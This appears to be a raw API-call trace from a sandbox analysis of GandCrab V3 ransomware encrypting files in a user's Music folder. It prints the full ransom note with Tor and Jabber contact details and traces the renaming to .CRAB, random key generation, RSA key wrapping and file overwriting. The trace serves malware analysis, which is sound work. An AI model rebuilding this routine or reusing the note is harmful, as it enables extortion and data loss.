	[0130.818] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.819] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.819] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.820] CloseHandle (hObject=0x3e8) returned 1
	[0130.820] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\") returned 49
	[0130.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\*"
	[0130.821] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320fa90
	[0130.821] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.821] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.821] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.821] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.821] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.821] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.821] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt"
	[0130.821] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.821] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt") returned 65
	[0130.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt") returned 65
	[0130.821] lstrlenW (lpString=".txt") returned 4
	[0130.821] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.822] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.822] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt") returned 65
	[0130.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\CRAB-DECRYPT.txt") returned 65
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.822] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.822] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.823] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.823] lstrcmpW (lpString1="LUcMwR8 JYOe.mp3", lpString2=".") returned 1
	[0130.823] lstrcmpW (lpString1="LUcMwR8 JYOe.mp3", lpString2="..") returned 1
	[0130.823] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="LUcMwR8 JYOe.mp3" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3"
	[0130.823] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.823] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3") returned 65
	[0130.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3") returned 65
	[0130.823] lstrlenW (lpString=".mp3") returned 4
	[0130.823] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.823] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp3 ") returned 5
	[0130.823] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3") returned 65
	[0130.823] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3") returned 65
	[0130.823] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="desktop.ini") returned 1
	[0130.823] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="autorun.inf") returned 1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="ntuser.dat") returned -1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="iconcache.db") returned 1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="bootsect.bak") returned 1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="boot.ini") returned 1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="ntuser.dat.log") returned -1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="thumbs.db") returned -1
	[0130.824] lstrcmpiW (lpString1="LUcMwR8 JYOe.mp3", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.824] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.824] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB") returned 70
	[0130.824] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\lucmwr8 jyoe.mp3")) returned 0x20
	[0130.824] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3", dwFileAttributes=0x20) returned 1
	[0130.825] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\lucmwr8 jyoe.mp3"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\lucmwr8 jyoe.mp3.crab")) returned 1
	[0130.826] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.826] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB"
	[0130.826] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB.CRAB"
	[0130.826] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e738) returned 1
	[0130.829] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.829] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.829] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.829] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.829] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.830] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0130.832] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.832] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.833] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.833] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.833] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0130.833] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.833] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.833] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.833] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e5a0) returned 1
	[0130.836] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f650) returned 1
	[0130.836] CryptGetKeyParam (in: hKey=0x320f650, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.836] CryptEncrypt (in: hKey=0x320f650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.836] GetLastError () returned 0x0
	[0130.836] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0130.836] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0130.852] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f9d0) returned 1
	[0130.852] CryptGetKeyParam (in: hKey=0x320f9d0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.852] CryptEncrypt (in: hKey=0x320f9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0130.852] GetLastError () returned 0x0
	[0130.852] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0130.852] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\LUcMwR8 JYOe.mp3.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\lucmwr8 jyoe.mp3.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0130.853] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.853] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.853] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x13b8c, lpOverlapped=0x0) returned 1
	[0130.865] VirtualAlloc (lpAddress=0x0, dwSize=0x13b90, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.866] VirtualAlloc (lpAddress=0x0, dwSize=0x13b90, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0130.868] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.869] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffec474, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.869] WriteFile (in: hFile=0x3ec, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x13b90, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314c9b4*=0x13b90, lpOverlapped=0x0) returned 1
	[0130.870] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.871] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.874] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.874] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0130.874] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0130.874] CloseHandle (hObject=0x3ec) returned 1
	[0130.875] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.875] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.875] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.875] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.875] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.876] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.876] FindNextFileW (in: hFindFile=0x320fa90, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.876] lstrcmpW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2=".") returned 1
	[0130.876] lstrcmpW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="..") returned 1
	[0130.876] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\", lpString2="UF6jiQHLOVtLpu3.m4a" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a"
	[0130.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.876] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a") returned 68
	[0130.876] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a") returned 68
	[0130.876] lstrlenW (lpString=".m4a") returned 4
	[0130.876] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.876] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".m4a ") returned 5
	[0130.877] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a") returned 68
	[0130.877] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a") returned 68
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="desktop.ini") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="autorun.inf") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="ntuser.dat") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="iconcache.db") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="bootsect.bak") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="boot.ini") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="ntuser.dat.log") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="thumbs.db") returned 1
	[0130.877] lstrcmpiW (lpString1="UF6jiQHLOVtLpu3.m4a", lpString2="CRAB-DECRYPT.txt") returned 1
	[0130.877] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.877] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB") returned 73
	[0130.877] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\uf6jiqhlovtlpu3.m4a")) returned 0x20
	[0130.877] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a", dwFileAttributes=0x20) returned 1
	[0130.878] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\uf6jiqhlovtlpu3.m4a"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\mmuzx- 8zi6qumjiyvyc\\uf6jiqhlovtlpu3.m4a.crab")) returned 1
	[0130.879] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.879] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB"
	[0130.879] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Music\\mmUZx- 8zi6qUmjiyvYC\\UF6jiQHLOVtLpu3.m4a.CRAB.CRAB"
	[0130.879] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0130.881] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.882] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.882] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.882] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0130.882] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.882] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.887] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6ed98) returned 1
	[0130.890] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.890] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.890] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.890] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0130.890] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0130.890] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.891] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.891] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.891] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0130.894] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f690) returned 1
	[0130.894] CryptGetKeyParam (in: hKey=0x320f690, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0130.894] CryptEncrypt (in: hKey=0x320f690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0130.894] GetLastError () returned 0x0
	[0130.894] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.894] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0130.912] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320f710) returned 1
